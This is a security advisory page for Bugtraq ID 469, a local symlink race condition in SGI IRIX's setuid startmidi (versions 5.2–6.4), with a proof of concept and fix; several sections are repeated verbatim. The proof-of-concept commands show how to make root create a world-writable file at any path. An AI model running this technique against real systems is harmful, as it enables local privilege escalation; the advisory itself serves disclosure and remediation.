IRIX startmidi Vulnerabilty
BID:469
Info
IRIX startmidi Vulnerabilty
| Bugtraq ID: | 469 |
| Class: | Race Condition Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 09 1997 12:00AM |
| Updated: | Feb 09 1997 12:00AM |
| Credit: | This vulnerability was found by David Hedley <[email protected]>, and reported to the Bugtraq mailing list on February 9, 1997. |
| Vulnerable: |
SGI IRIX 6.4 SGI IRIX 6.3 SGI IRIX 6.2 SGI IRIX 6.1 SGI IRIX 6.0.1 XFS SGI IRIX 6.0.1 SGI IRIX 6.0 SGI IRIX 5.3 SGI IRIX 5.2 |
| Not Vulnerable: | |
Exploit / POC
IRIX startmidi Vulnerabilty
% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
%
% umask 0
% ln -s /blardyblar /tmp/.midipid
% startmidi -d /dev/ttyd1
% ls -l /blardyblar
-rw-rw-rw- 1 root pgrad 0 Feb 9 17:46 /blardyblar
% stopmidi -d /dev/ttyd1
%
Solution / Fix
IRIX startmidi Vulnerabilty
Solution:
A suitable short term solution is to remove the setuid bit from startmidi:
chmod -s /usr/sbin/startmidi
Patches are available from SGI at http://support.sgi.com
IRIX 5.3: 2563
IRIX 6.2: 2564
IRIX 6.3: 2565
IRIX 6.4: 2291
Solution:
A suitable short term solution is to remove the setuid bit from startmidi:
chmod -s /usr/sbin/startmidi
Patches are available from SGI at http://support.sgi.com
IRIX 5.3: 2563
IRIX 6.2: 2564
IRIX 6.3: 2565
IRIX 6.4: 2291